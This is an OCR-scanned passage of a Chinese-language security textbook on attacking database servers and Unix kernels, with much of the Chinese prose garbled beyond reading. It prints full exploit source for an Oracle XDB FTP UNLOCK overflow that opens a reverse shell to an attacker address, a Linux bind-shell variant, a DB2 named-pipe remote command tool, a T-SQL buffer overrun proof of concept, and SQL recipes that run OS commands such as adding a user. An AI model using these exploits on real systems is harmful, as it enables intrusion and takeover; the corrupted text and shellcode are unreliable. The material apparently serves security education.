KHEBI P4 R iy = B AL A R AT . #EiE 2, Oracle MK FRDBMS K {HE 4% 2
BRI

{EOraclefty B R ch, WRIRAMK MM 4, K5RIRAH, AT AVFEH 5E 2RI
A o XA HING! Litchfiled X3, Oracle?£20034F4 A B8 T iX/NK
% Chttp:/fotn.orace. 1pdf).

AKX IISQL Servertt HiBEAAR M X s R, & FIRRIEN B FHBBE NZRE
EMSSQLServerffRHIE) SEREMAE, FHAEILIRERFE]. & hDave Aitel %L, H-ir42 XyHello bug.
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PHAKAE20024F9 H 155 T 3% Moug Chtp://www.mi i -056.mspx )

HIFE NS RRARRIR, ARG RS TSN E AR TR, EE AT
B GG IXLARED BT LS (0 X 5 4L T, WINGSSniff, Network Monitor.
tepdumpik Wireshark, Ff£x{f FIIX S HURE RS 89K . SHRTRBRIMS R HE, HHRAHE.
—RANGEEN, ARSI AR R, MRS, BERRME, RNt
WIS ERBUE. B—AIENFAR I G, BEEI: 35 ANk M G LR ], fH—
BSRUR, o AT SR o O R PHSGEAT T IRG44HT, TRATHA TREM .
Brian Bruns# 5 T 4/ Tabular Data Stream (TDS) #i, ] LAZEwww.freetds.org/tds html#Z S
ES e N

VP BRI IR % 88 SV R P R AESQLT A WS RAF ISR . X8 SR M 3ESQL T AL 3L
MHIHRAES I, WHTTPAIFTP.

B4, Oracle 9YEHTTP L4244 T Oracle XML¥IBEE (XDB) #, ¥411%8080, 7:FTP.L,
3§ H %2100, Oracle SZEBRIA L ¥ 424 XDB, TXDBHIWebRIFTPH M A ARAL S 32 53 i 92
e AT LUE SRS I 45 BRSNS H Web RS- IR BB X o 240 M 7E R P I S ARTE R
B, fRBE T MR, RIE BN BRI (s # S rencpy () . FIHTE
B TR TN, BT AR AT AR R NSO 001010101 4RT, RIERAK
T M 3 B2 Fimemepylt) 31V MR BUEH . R EARK, 4 MLinx2 X004
EJUPARAIMERARE (Bt R L” BB, HAKRBRNLREMER, ELELinux bWt
AU, SURRMRIERA M ERRIE). AT, 7EWindows b, RATATLIASHK L
EXCEPTION_REGISTRATION&{HJ, FFI'ERAMEIITE 2 MBI,

XDBIMFTPHR S5 hAEZE LA ). A/ 4 SO S BUR S H, ERAIIH 5 Web
BREAE . MR M, BV, 7EXDBIYFTPHRS B X% T /L85t . XDBIFTPIRS
TSR E YARAERFTP iy &4, Oracle I T —24r 4> o 3t 5/ fr &——TESTRIUNLOCK,
FRAEPRDCRE H FIRE, FEFTH (P& EADRA S WA . FIAAMIFL, BALER WindowsHl
Linux (A .

Q Windows XDB¥ Hi R A5

#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOforacle(char *, char *);
int Startwinsock (void);
int SetUpExploit(char *,int);

struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]="";
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unsigned char exploit[508]=
"\x55 03 XFF\XFF\XFF\XBE\XFF\XFF'
“\XFF\XFF\X81\xF6 \ 3\

"\X50\x50\X50\X50\X50\ x50\ XFF\xD3 \X50\x68\X61\x72\x79\x41 \x68\x4C"
"AX69\x62\X72\X68\X4C\X6F\x61\x64 \X54 \XFF\XTS\XFCAXFF\X55\XF4\x89 "
"\x45\xFO\xB3\XC3\x63\xB3\XC3 \x5D\X33\XCI\XBI\X4E\XB2 \XFF\x30\x13 "
\xB3\XEB\X01\XEZ\XFI\x43\x53 \XFF\x75\XFC\XFF\X55\xF4\x89\x45\XEC"
“\XB3\XCI\X10\X53 \XFF\X75 \XFC\XFF\X55\xF4\x89 \x45\xEB\x83\xC3\x0C"
"\X53\XFF\x55\xF0\xB9\x45\xF8\x83\XC3 \x0C\X53\X50\XFF\X55\xF4\x89 "
"\X45\XE4\x83\XC3\X0C\X53 \XFF\x75\XFB\XFF\X55\XF4\x89 \x45\XE0\x83 "
“AXCIAX0CAX53\XFF\XT5 \XF8\XFF\x55 \XF4\x89\x45\xDC\x83\xC3\x08\x89 "
" \X5D\XDB\X33\XD2\X66\x83 \xC2\x02\x54\x52 \XFF\x55\xE4 \x33\xC0\x33 "
"AXC9\X66\xB9\x04\x01\x50\XE2 \XFD\x8I \x45\xD4\%89\x45\xD0\XBF\X0A"
"\X01\x01\x26\xB9 \X7DAXCC\x40\x40\XBI\X45\XCB\x66\XBE\xFF\XFF\X66 "
"\X35\XFF\XCA XB9\x45 1\X6A\X02\XFF\: EO0\x89\x45"
. 10\XBD\X75\xCB\; AXFF\: DC\x83\xC0*
"\x44\xBI\xB5\X58 \XFF\XFF \xFF\x83 \XCO\XSE\x83 \XCO\XSE\xB9 \x45\x84 *
"\XB9\X5D\X90\XB9\X5D\x94 \XBI\X5D\XIB\XBD\XBD\X4B\KFF\XFF\XFF\x57 "
"\XBD\XBD\XSB\XFF\XFF\XFF\x57\x33\XC0\x50\x50\x50\x83\xC0O\x01\x50"
"\XB3\XE8\X01\ \X50\XFF' \X55\xE8"
“\X60\x33\XD2\xB3\XC2\x30\x64\xBB\X02\XBB\X40\X0C\xBB\x7 0\x1C\XAD"
"\XBB\X50\x08\X52\XBB\XC2 \XBB\XF2 \xBB\XDA\XBB\XCA\X03\x52\x3C\x03 *
"\x82\x78\X03 \X58\X1C\X51 \x6A\KXIF\X59\x41\x03\x34\x08\x59\x03\x48"
"\X24\X5A\X52 \XBB\XFA\X03 \X3E\XB1\x3F\x47\x65\x74\x50\x74\x08\x83 "
"\XC6\x04\xB3\XC1\X02 \XEB\XEC\XB3\XCT\X04 \XxB1\X3F\X72\X6F\x63\x41 "
"AX78\x08\XB3\XCH\x04\xB3 \XC1\X02\XEB\XDI\xBB\XFA\XOF\XB7 \x01\x03 "
"\X3C\XB3\XBI\XTC\X24\x44 \XBB\XIC\X24\ X8I \XTC\x24 \x4C\X5F\x61\XC3 "

"\X90\x90\x90\xBC \x8C*
"\XBE\XFF\XFF\XBA\x87 7 FF\XAS"
*\XBC\XCD\XAO\XCC\XCD\XDL \x9B\x93\x93 \XFF\XFF\xA8\XAC\XBE\XAC\X8B"
- \XFF\XFF\: \X9A\x8B*

\XBE\XFF\XFF\X9C\X90\x91\x91\x9A\XIC\XBB\XFF\XIC\x92 \xIB\XFF\XFF *
*\XFF\XFF\XFF\XFF" ;

char exploit_code(8000]=
"UNLOCK / 1411333 3kkkk111 lmmmnnnn*

333322221111098765432°

*laaaabbbbee” ;

char exception_handler(8]="\x79\x9B\X£7\x77";
char short_jump [8]="\xEB\x06\x90\x90" ;

int main(int arge, char *argv(l)
{
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if (arge
«

6)

printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit®);
printf("\n\t\tfor Blackhat (http://www.blackhat.com)");
printf("\n\n\tspawns a reverse shell to specified port');
printf("\n\n\tUsage:\t$s host userid password ipaddress por:-,arqvwl),

printf("\n\n\tdavid Li £
printf("\n\t6th July 2003\nm\n\n");
return 0;

strncpy (host, argv(1],250) ;
if(StartWinsock ()==0)
return printf("Error starting Winsock.\n®);

SetUpExploit (argv(4],atoi (argv(5]));
strcat (exploit_code, short_jump) ;

streat (exploit_code, exception_handler) ;
strcat (exploit_code, exploit) ;

streat (exploit_code, *\r\n");

GainControloforacle (argv(2],argv(3));

return 0;

int SetUpExploit(char *myip, int myport)

{

unsigned int ip=0;
unsigned short prt=0;
char *ipt="v;

char *pree=rr;
ip = inet_addr (myip) ;

ipt = (char*)&ip;

exploit[191]=ipt (0];
exploit(192]=ipt{1]);
exploit (193
exploit(194]

// set the TCP port to connect on
// metcat should be listening on this port
// e.g. nc -1 -p 80

pre = htons((unsigned short)myport);
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prt = prt ~ OxFFFF;

prte = (char *) &prt;
exploit [209]=prtt[0];
exploit[210]=prtt[1];

return 0;
3
int Startwinsock()

int err=
WORD wVersionRequested;
WSADATA wsaData;

wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, swsabata );

if (err 1=0)
return 0;
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wersion ) 1= 0)
{
WsACleanup ( ) ;
return 0;

if (isalpha(host(0]))

8
he = gethostbyname (host) ;
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy (&5_sa.sin_addr, he->h_addr, he->h_length);

else

addr = inet_addr (host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;

menmcpy (&s_sa.sin_addr, &addr,4) ;
he = (struct hostent *)1;

if (he == NULL)
€
return 0;
)
return 1;
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int GainControloforacle(char *user, char *pass)
§

char usercmd[260]="user *;
char passcmd[260]="pass "

struct sockaddr_in r_addr;
SOCKET sock;

strncat (usercmd, user, 230) ;
streat (usercmd, "\r\n");
strncat (passcmd, pass, 230) 1
strcat (passemd, "\r\n");

sock=socket (AF_INET, SOCK_STREAM, 0) ;
if (sock==INVALID_SOCKET)
return printf(" sock errorr);

r_addr.sin_family=AF_INET;
r_addr.sin_addr.s_addr=INADDR_ANY;
r_addr.sin_port=htons ((unsigned short)0);
s_sa.sin_port=htons((unsigned short)2100);

if (connect (sock, (LPSOCKADDR) &s_sa, sizeof (s_sa) )
return printf("Connect error*);

SOCKET_ERROR)

rev = recv(sock, resp,1500,0);
printf("%s*, resp):

ZeroMenory (resp, 1600} ;

end(sock, usercmd , strlen(usercmd) , 0);
rev = recv(sock, resp,1500,0);

printf("¥s", resp);

ZeroMenory (resp,1600) ;

snd=send (sock, passcmd , strlen(passcmd) , 0);
rev = recv(sock, resp,1500,0);

printf(*$s", resp);

if(resp(0]=='5")

{

closesocket (sock) ;
return printf("Failed to log in using user %s and password
¥s.\n",user, pass) ;

ZeroMenory (resp, 1600) ;

snd=send(sock, exploit_code, strlen(exploit_code) , 0);
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Sleep(2000) ;

closesocket (sock) ;
return 0;
3

O Linux XDB3#é tHBA#AHS
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

int main(int arge, char *argv(l)
«

struct hostent *he;
struct sockaddr_in sa;
int sock;

unsigned char nop_sled[1804]="";
unsigned char saved_return_address(]="\x41\xc8\xf\xbf";
unsigned char exploit(2100]="unlock / AAAABBBBCCCCDDDDEE®
"EEFFFFGGGGHHHHI I11JJJIKKKK"
"LLLLMMIMNNNNOOOOPPPPQQQ"
"QRRRRSSSSTTTTUVUUVVVVWHH"
“WXXXXYYYYZZZZaaaabbbbecceddr ;

unsigned char
code[]="\x31\xAbAX53\x431x53\x43\x53 \x4b\x6a\x66\x58\x54\x59 \xcd"

"\x80\X50\x4b\X53\X53\X53\x66\x68\x41\x41\x43\x43\x66\x53 "
AX54\X59\x6a\X10\X51\X50\X54\X59\x62\X66\X58\xcd\XBO\X58"
"AX6a\X05\X50\x54\x59\x6a\x66\x58\x43\x43\xcd\xB0\x58\x83 "

"\xec\x10\x54\x52\x54\x52\x50\x54\x59\x62\x66\x58\x43\xcd"
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“\X80\X50\x31\xC9\x5b\x6a\x3£\x58\xcd\xB80\x41\x6a\X3£\x58"
"\xcd\x80\x41 \x52\x68"
"\x6e\X2E\X73\ \X53\x54"

“\x59\xcd\x80\r\n" ;

if (arge
«

printf(*\n\n\toracle XDB FTP Service UNLOCK Buffer Overflow Exploit®);
printf(*\n\t\tfor Blackhat (http://www.blackhat.com)");
Printf("\n\n\tSpawns a shell listening on TCP Port 16705");
Printf("\n\n\tUsage:\t$s host userid password",argv(0]):
printf("\n\n\tDavid Litchfield\n\t (davidéngssoftware.com)");

Printf ("\n\t7th July 2003\m\n\n");
return 0;

while(count < 1800)
«
nop_sled [count++]=0x90;

/7 Build the exploit

strcat (exploit, saved_return_address) ;
strcat (exploit,nop_sled) ;

strcat (exploit,code) ;

// Process arguments
strncat (user, argv(2],240) ;
strncat (passwd, argv(3),240) ;
streat(user, "\r\n");

strcat (passwd, *\r\n*);

// Setup socket stuff
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family = AF_INET;

sa.sin port = htons((unsigned short) 2100);

// Resolve the target system
if (isalpha(argv(1] [0])==0)
«

addr = inet_addr(argv(11);
memcpy (&sa. sin_addr, &addr, 4) ;

he = gethostbyname (argv(1]);
if(he == NULL)
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return printf(“Couldn’'t resolve host $s\n*,argv(1]);
memcpy (&sa.sin_addr, he->h_addr, he->h_length) ;

sock = socket (AF_INET, SOCK_STREAM, 0) ;
if(sock < 0)

return printf(“socket() failed.\n"):
if (connect (sock, (struct sockaddr *) &sa,sizeof(sa)) < 0)
{

close (sock) ;

return printf(“connect() failed.\n"

Printf("\nConnected to %s....\n",argv(1]);

// Receive and print banner
rev = recv(sock, recvbuffer,508,0);
if(rev > 0)
t
printf("$s\n", recvbuffer) ;
bzero (recvbuffer, rev+l) ;

close (sack) ;
return printf ("Problem with recv()\n");

// send user command
snd = send(sock,user, strlen(user),0);
if(snd != strlen(user))
€ close(sock) ;
return printf(*Problem with send()....\n");

printf("¥s", user) ;

// Receive response. Response code should be 331
rev = recv(sock, recvbuffer,508,0) ;

if(rev > 0)

{

[21==0x31)

printf("$s\n", recvbufer);
bzero(recvbuffer,rcvel) ;
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else

close(sock) ;

return printf(*FTP response code was not 33l.\n");

else

close(sock) ;
return printf (*Problem with recv()\n");

// Send pass command

snd = send(sock,passwd, strlen(passwd),0);
if(snd 1= strlen(user))

8

close (sock) ;

return printf(*Problem with send()....\n");
)

else
printf("$s",passwd) ;

// Receive response. If not 230 login has failed.
rov = recv(sock, recvbuffer,508,0);
if(rev > 0)
«

if [0)==0x32 &&

¢

printe(*$s\n*, recvbutfer);
bzero (recvbutfer,rev+l);

close (sock) ;

return printf(*FTP response code was not 230. Login failed...\n");

else

close (sock) ;
return printf(*Problem with recv()\n*);

// Send the UNLOCK command with exploit
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snd = send(sock, exploit,strlen(exploit),0);
if(snd 1= strlen(exploit))
¢ .

close(sock) ;

return printf(*Problem with send()....\n");
)
// Should receive a 550 error response.
rev = recv(sock, recvbuffer,508,0) ;
if(rev > 0)

printf("$s\n", recvbuffer) ;
printf("\n\nExploit code sent....\n\nNow telnet to ¥s 16705\m\n",argvil]);
close(sock) ;
return 0;

}

4OracleX T HTTPRIFTPIR GE50R R 47, IBMAL A H 7758, Hiufi1KDB24ETCP: 6789
32 4tIDBC Applet Server. Hi-F-# XA Applet Server, /A LUE IS 3 4 48 T &I 4T Java
Applet, BETIEWIMARIERS . XA MWebi25 28 T 8K Java Appleth £ H| Applet Server, 3
TP B R AR MR IR 45 38 . XA R — AR RR—— IR B E R EW. By
BT LR WD E] M4t 84 Mappleth, B T A& RIZMAT A S MAH. IDBC
Applet ServerfBiXMERE RABIREIRS B, REHEIL R THR, XM hEBITFERER,
REZEBER .

B4R, BOAKBABIS. WK ISQLAE20034F I T Slammeriifi . Slammer 2 — M4 X
BRI, 47SQL Server 14343 R EH— N1 L0x04, JRTHHATEK 74 KIUDPRES,
BRI . KT X AR B IR SCHE, ARAT DAZE R R A R BRI B

242 MRARWE

N RAR A . PR TETREREHS, MPBBAARRENI M
(functionality); 35 ~EL ¥ ThHEYE P GErh b U th I ORI o 4R A7k, FISQL (3R
T-SQL. PL/SQL) %5 HIRARARFL AR AT LB ARMERUSQLE /3 TAMAT . T SQLAISQLY &
AR TRUF R, P, 4T AR Moy i I AR B AT o IR BATAER]
T LA, T AARRURRAER AT AR, A HARRFH RO SRR AEZR.
ERMBRE, THIARKIRS (ntrusion Detection System, IDS), HEWEARPIFRYE
(Intrusion Prevention System, IPS) AL B B4 TN . H—MIRMHIT, HRXFH
B LEBEPATHNT, Wil HEHMRTRIEHARE. RE, SFRERENE, #TH
WA, EHARRBEALL, RERIT.

i1

INSERT INTO TABLE1 (foo) VALUES ('EXPLOIT')
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FrH2:

DECLARE @bar varchar (500)
SELECT @bar = £oo FROM TABLEL
EXEC (@bar)

RSB, W LU B M exec R BAAT . BB LUXIHL, (BinSUXFE#R
FERMEAGEEE? 2%, BEMRESERERNZFOXG. BB RPEEERS
BMBEF AR ST A IPSIDS IR, TRIENT EALBE (locking down) FR%53%.

243 ETHRIEREGS

B P A A BRI A AR EH), K S HRDBMSH L A IAITPITRIERZEH €.
I Ae? MREMBEH WIKSQL Serverfi R EHIEH FEXNIfE, FHEIWRXARE
B, EBRATAN, LX) RIS A R AR . K0T LB RDBMS 3K #4247 Bk
RGNS, BIERAK—F, FERFRAB—KW™RHT .

24.3.1 %K SQL Server

EMEARAK T HRBAKISQL Server, AT RERIT B A7 ikt Fixp_cmdshell. — KL,
RSV RS AR BRI F /7 84T xp_cmdishell, {BERE £ ML R, B AL RVFHER
B AT DU . xp_cmdshel 1 ik —ABH—EHITHA L. HAMRABITSQLES
I/ GH¥ RLOCAL SYSTEMIKS) )44 LTI (security context) HATX %K< . FERLLN
WF, TURE -MEKS, REEXMES RS ETXRITRENL.

exec master..xp_cmdshell ('dir > c:\foo.txt')

R % 22 A T H# % I Blxp_cmdshell, {83Exp_cmdshellRIZESU, % £/ XSQLIR
RBMRE . W ORI RAFHILR, Hitxolog70.al1Mbinn HR BB E. %
THEEH, Ffxplog70.a118Flbinn AR, EH M Lxp_cmdshell.

24.3.2 Oracle

FEOracle BAH PR LT UBATHME RS S, HEARIRMITE, KERARKFALIH
AFROMESE, 7R HIPL/SQLAFM LA . PL/SQLFTLAREY /B, M fuifF— ML B A e R
SRR YA AR BRI, Bt AT LLA Oracle INAXCIZATH BE (msvert . d118klibe),
#ATsystem() CHB. EXARMR FHXFEETRE.

CREATE OR REPLACE LIBRARY exec_shell

AS 'C:\winnt\system32\msvert.dll’;

CREATE OR REPLACE PACKAGE oracmd IS

PROCEDURE exec (cmdstring IN CHAR);

end oracmd;

/

show errors



476 F24¥ KEHIBAEKH

CREATE OR REPLACE PACKAGE BODY oracmd IS

PROCEDURE exec (cmdstring IN CHAR)

IS EXTERNAL

NAME "system"

LIBRARY exec_shell

LANGUAGE C;

end oracmd;

/

exec oracmd.exec ('net user ngssoftware password!! /add');

AT HLIXFEEAR, P KPR A CREAT/ALTER (ANY) LIBRARYAUFR.

TERIE—$¢O0raclefRA R, AT LA IR R HE () H R BR )4 $ (ORACLE_HOME} \binF . iX
TE—ERELRE T 22t A, EUEWA (double-dot) ¥, #RATLUEBIXERA, M
BAEFTRHE .

CREATE OR REPLACE LIBRARY exec_shell
AS “..\..\..\..\..\. . \winnt\system32\msvert.dll';

4R, LE A4 E Windows FIIHIF, WRBRAMMERUNIXRE ERAT XK, W)
BRSO libe i1 .

R, R A K Oracle B, B A Ad ZRDBMS RS UL T, ol REmt Bk it
EBITOSH 4. *Oracle A HERT, ERIEF|TNS Listener, ListenertifT/hEHERF (4K
extproc) MELIE MM B BOMBA G B . B EERTNS ListenerB iy, A THMEEHR
fTextproc. Bk, Kk 7E8A I/ IDREFHMHR T, ifeikHOraclelR % 2 HFHl. XA
WSS LT .

243.3 |1BMDB2

IBMIXDB2#IOracle —H A %4, HAGRAARE. JLFMOracle—+¥, (EDB2E, fRiArLl
Wit AN EARMATEAE RS RS, BRI T, PR 8T USRS58 —
W E45DB2KY, PUBLICHRIAR IMPLICIT_SCHEMAKLR, iXFHALFR A1/ €I H it &) (schema).
XA R Fsystem, {BPUBLICHIR T7EE WG RIS . FIFE, ARAXBRAL P o] LAgy
AFR], e B ARE.

CREATE PROCEDURE rootdb2 (IN cmd varchar(200))

EXTERNAL NAME 'c:\winnt\system32\msvcrt!system'

LANGUAGE C

DETERMINISTIC

PARAMETER STYLE DB2SQL
call rootdb2 ('dir > c:\db2.txt')

T B AGAR A PR IX AN, A1 PUBLICH IMPLICTT_SCHEMAR RS IE .

b TRERATE 138, DB T SAMOHUE, AHERSQLRETHAERKN L.
XA E TR DB TR fir & ik 4588 (Remote Command Server) SEHLHI, R4 -4k 7
B, ST RIEFENAT AL . LWindows'F £ 46, db2remd. exeldi5)/71]7F 44 HypB2REMOTECMD
ot 42 AL SRR i AT LB B R A 4 S5 28t £ B Ay BT 45 RBP4 % 3
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TEMQ RIEHT, FER—WESRIEN ERB T, TR RS RIE REH S WEIB AN ERAEZE,
IRA AR b2 romdce . exe, MBEABRATAIS . XA RS BTED2adminlle /%42 LTI
B HE)IHIELT, Tidb2adminfc TR T RAHE AR, EHMHAR, MEBKRMXA
RiE T ab2remde, FHFPATEH FHfERIMNS. UMW, X T Eoe2remorecvD H, &/ HE
HAEMIDAER, BEOOITHIDMER, WAERCAR ik VTS QARIET 4.
RHER, KR —NMRERR. ERANIERT, BMNZESTRG SRS BORTG, £
PATALHT, D> RNIZSE A ImpersonateNamedPipeClient. XA H R, FAKE#RA
FRAURAOE B R A BUR BT & o BAF IR NSRS A B B 2 A, DUV R R
KRR P AEXA RS o XM R TET R 55 28 ERAT — R Ay S IFREIS R .

#include <stdio.h>

#include <windows.h>

int main(int arge, char *argv{])
{

char buffer([540]="
char NamedPipe[260]="\\\\";
HANDLE remd=NULL;

char *ptr = NULL;

int len =0;

DWORD Bytes = 0;

if (arge 1=3)
{
printf("\n\tDB2 Remote Command Exploit.\n\n");
printf("\tUsage: db2rmtcmd target \"command\"\n");
printf("\n\tDavid Litchfield\n\t (david@ngssoftware.com) \n\t6th
September 2003\n");
return 0;
)

strncat (NamedPipe,argv(1],200) ;
strcat (NamedPipe, *\\pipe\\DB2REMOTECMD" ) ;

// Setup handshake message
ZeroMemory (buffer,540) ;
buffer(0)=0x01;

ptr = &buffer(d);

strepy (ptr, "DB2");

len = strlenf{argvi(2]);
buffer[532]=(char) len;

// Open the named pipe
remd = CreateFile (NamedPipe, GENERIC_WRITE |GENERIC_READ, O,
NULL, OPEN_EXISTING, 0, NULL) ;
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if (remd == INVALID_HANDLE_VALUE)
return printf(*Failed to open pipe %s. Error $d.\n",NamedPipe,GetLastError());:

/1 send handshake

len = WriteFile(remd,buffer,536,&Bytes,NULL) ;

if (1len)

return printf("Failed to write to %s. Error %d.\n",NamedPipe,GetLastError());

ZeroMemory (buffer, 540) ;
strncpy (buffer,argv(2],254) ;

// Send command
len = WriteFile(rcmd,buffer,strlen(buffer),&Bytes,NULL);

if(tlen)

return printf(*Failed to write to %s. Error %d.\n" NamedPipe,GetLastError());

/! Read results
while(len)
{
len = ReadFile(remd,buffer, 530, &Bytes,NULL) ;
printf("$s*, buffer);
ZeroMemory (buffer, 540) ;
}

return 0;
)
SVFBRRPAT A R LR — LXK, NIRRT BEAE X PRI IR S .
TERTT, RATF T — LB RDBMSKABATIRAE R Ar S 17785 MMAROURRTF it
RV IRAF A TSR RS B8, R, RBUAR S HaRST 1 2 B

244 SQLER#Z#MA AR ZE

TESQLIZ MR LLTERZ A0 50 2. 248, XA BUAE (R E AR R R 0 PR —— SURAY
A R BZESQLIZ LA S SR, BATaT AR P36 1 (Jufisk i Query Analyzer
HOracleft)SQL*Pluse) HARATFIAM Atk Z ML (MTDSFITNS) (MRiAR. kA, RAN
T BAR T (FISQLY R4 S RAARARAL

SQL &

Vi 2 SQLIZ W5 & DL R oy R AF Ml B e i) . TAESCIEMISQLIBEEAMTIE P .,
WL R LB M . MR, X a8 FHSQLIEBMEAMTRF REE ML, ik
FEBE A, FTUBERER TR, EHATMAARAbug. TN T, &%
B RAFMILAE —BURURARMAT — A BB, BB AT ER, ol B AEAT =i
R

TEARARES LKA AT HAT AL AR T T ENIASCIIA R, Bk, RATHZRE -
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SQLZ /i LRAEWITHIMASCUFR . E—WIF ALK, RIAR. ERRIIDSH
XL, FESQLIE T LA RMMRMI A AR IR, SQLY EMAMEH T +4 SHA B ERIREE, 1L
AR TR AR SRR . SeF— BT

{ERCHR/ICHARE 8

W& SQLIBE B A crRARCHARIR B, ENTIREUN FIF S BRF R . RATT LRI cir
ERMEHSIATHAT ARG i, WFABHRITcall eax, EHIRHIHESFT R 0xEFRI0XD0.
TEMAKIISQLEL, AT LUKREL:

DECLARE @foo varchar (20)
SELECT @foo = CHAR(255) + CHAR(208)

TEOracle B fHcHR () ¥
HIR, EEMRFEMACHR/CHARR Y. WTHTR, RATATLAEBER+A#EEARA
FH.

SELECT @foo = OxFFDO

FIXPER 74T AR A MR A B B () — EIRAS . B —ANSLBRIBIT, %18 FSIT-SQL
ARED, EBWAFMBSQL Server 2000 i —MEZE X 2 .

-- Simple Proof of Concept

-~ Exploits a buffer overrun in OpenDataSource()

-~ Demonstrates how to exploit a UNICODE overflow using T-SQL

-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO

- I'm overwriting the saved return address with 0x42B0CIDC

-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2

-r The address holds a jmp esp instruction.

-- To protect against this overflow download the latest Jet Service

-~ pack from Microsoft - http://www.microsoft.com/

-~ David Litchfield (david@ngssoftware.com)

== 19th June 2002

declare @exploit nvarchar (4000)

declare @padding nvarchar (2000)

declare @saved_return_address nvarchar(20)

declare @code nvarchar (1000)

declare @pad nvarchar(16)

declare @cnt int

declare @more_pad nvarchar (100)

select @ent = 0
select @padding = 0x41414141
select Gpad = 0x4141

while @cnt < 1063
begin



480  H 4% KEHBAKM

select @padding = @padding + @pad
select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCCOB042
select Gmore_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to Ox77EB6FB7 - Win2K Sp2
-- change if running a different service pack

select @code =
0x558BEC3 343456851 33a5C538D1
05052B8876FE877FFDOCCCCCCCCCT

select @exploit = N'SELECT * FROM OpenbDataSource(
*'Microsoft.Jet.OLEDB.4.0'', ' ‘Data Source="c:\'

select @exploit = @exploit + @padding + @saved_return address + @more_pad + @code
select @exploit = @exploit + N'*;User ID=Admin;Password=;Extended
properties=Excel 5.0''}...xactions"

exec (@exploit)

245 NG5

FRMLATRNES, EHOETHT EHKERDBMSK IR KRR . XANkE
KES S AR IR A B A BUARAL, —AN FBEMIDCH o AT LA Bt O P R 5 28 R Bt
R AN RO IR R, I RS KINRAEER, WA LRELBAST . DBARE
B RRHAR R S5 28 IO, JCAATI RS BB . ASHISlammer RIE - AMER, WRAFE,
o HORE R T S5 28 PSR R 5 28




EnE ) |
UNIXP %58

Vi >
F -

A, RAVBIFLAN BRI, 55 AT R NUNIX A KRR . & HOSKE#AR
L R, RATKARAIIBLT e & FBRETRARRMSE, BaMF—2a
Fifbug. EMBEFNRIRALE, RATHEESBEER NRFBR L, XHNRRERIE
HEEAFEMAER ML, TEOpenBSDAISolaris KT o
{ETH5 A ff1OpenBSDHISolaris 8, JA1AT i ¥ X AN AR 2 S BUT P AT LAV i) %
HOSTEIR. MRSV I T AR RARS R /E R, P F R A A SR, Bit,
ERAREMARENZ SN, KnREEHRAR. REREAILBRIAEBIZOSE AN
TP o RATHHFERTTOpenBSDI) = B 1k 22 A FVE 1L B 5 P X A AR IS 11 1 . A5 S IX ey %
W LUR BB R A AR b e A A AR R
251 ARAEE
I TFAELEVFE 99 1 B A B B R A S8, MBI A AE W R (9 4 A RATTH LA
AR, FAREX SN, FFIRTE S T AR B E A 4. Dawson EnglerffHi R &
3 “Using Programmer-Written Compiler Extensions to Catch Security Holes” (www.stanford.edw/~
engler/sp-iece-02.ps), FMA T W BB RRITN LT R4, IR T WRMSH.
RECTHBRINT FHA RORETIMR, FHR a7 E AR R I, (B, MR
PR AR AT T, — LB 54T T REMER TR . A4 9 OpenBSD P e i B 16
B IR WAMEN. SR KAPI [fistrepyfimemcpy I fE R R B ALK, TG
KRB .
LA R ORISR A B R
Q A7 55 B REH G
m buf [user_controlled_index] ¥l
= copyin/copyout &i#
R 2. ¢ L]
mmalloc/freeffi %
® copyin/copyout %
w BEHOEST
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0 GrkXaiH R/ 38
w copyinIFE AR LU R 3
R MBI RN /5
a feRALRaE
®log. printiA¥
0 BiHHR
mmodload. ptrace
ERAVE A BE AT ARG, LR HEIT B ERMR R E MBI E. RIZN
ST LRSI 24-OpenBSDR ekt (JLPhrack F560%, SCH0x6), 1/MFreeBSDW B Rl
&, 14 SolarisBtit4iR.

2.1 - OpenBSD select() kernel stack buffer overflow

sys_select(p, v, retval)
register struct proc *p;
void *v;
register_t *retval;

register struct sys_select_args /* {
syscallarg(int) nd;
syscallarg(fd_set *) in;
syscallarg(fd_set *) ou;
syscallarg(fd_set *) ex;
syscallarg(struct timeval *) tv;

} */ *uap = v;

f£d_set bits(6], *pibits(3], *pobits(31;

struct timeval atv;

int s, ncoll, error = 0, timo;

u_int ni;

[§8) if (SCARG(uap, nd) > p->p_fd->fd nfiles) {
/* forgiving; slightly wrong */
SCARG(uap, nd) = p->p_fd->fd nfiles;
}

21 ni = howmany (SCARG(uap, nd), NFDBITS) * sizeof (£d_mask);
31 if (SCARG(uap, nd) > FD_SETSIZE) {
[deleted]

#define getbits(name, X)
(4] 4if (SCARG(uap, name) &k (error = copyin((caddr_t)SCARG(uap, name),
(caddr_t)pibits(x], ni)))
goto done;
(5] getbits(in, 0);
getbits(ou, 1);
getbits(ex, 2);
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#undef getbits

[deleted]

KT FHRIENRL AR, FEMKIM i scarcZ it k.

sys/systm.h:114

vit BYTE_ORDER == BIG_ENDIAN
#define SCARG(p, k) ((p) ->k.be.datum) /* get arg from args pointer */
#elif  BYTE_ORDER == LITTLE_ENDIAN

#define SCARG(p, k) ((p)->k.le.datum) /* get arg from args pointer */

sys/syscallarg.h: line 14

#define syscallarg(x)
union {
register_t pad;
struct { x datum; } le;
struct
int8_t pad[ (sizeof (register_t) < sizeof (x))
20
: sizeof (register_t) - sizeof (x)];
x datum;
} be;

)

SCARG () /2 ~MA#struct sys_XxX_args#it) OORRRAEALH) RAKE, X
SR T SMARKWAHRNBE . X T MCPUN R AL T RIERIFF, ol B L
SCARG () Vj X LELEMIMMIAR A IXFE—K, PRV FDEBEE IR, WEF A RR. AT
Fiscarc ()%, RGVEFBARIM FHRAY (declare) MASH. FiliNselect () REWH

HISMA BB LH

sys/syscallarg.h: line 404

struct sys_select_args {

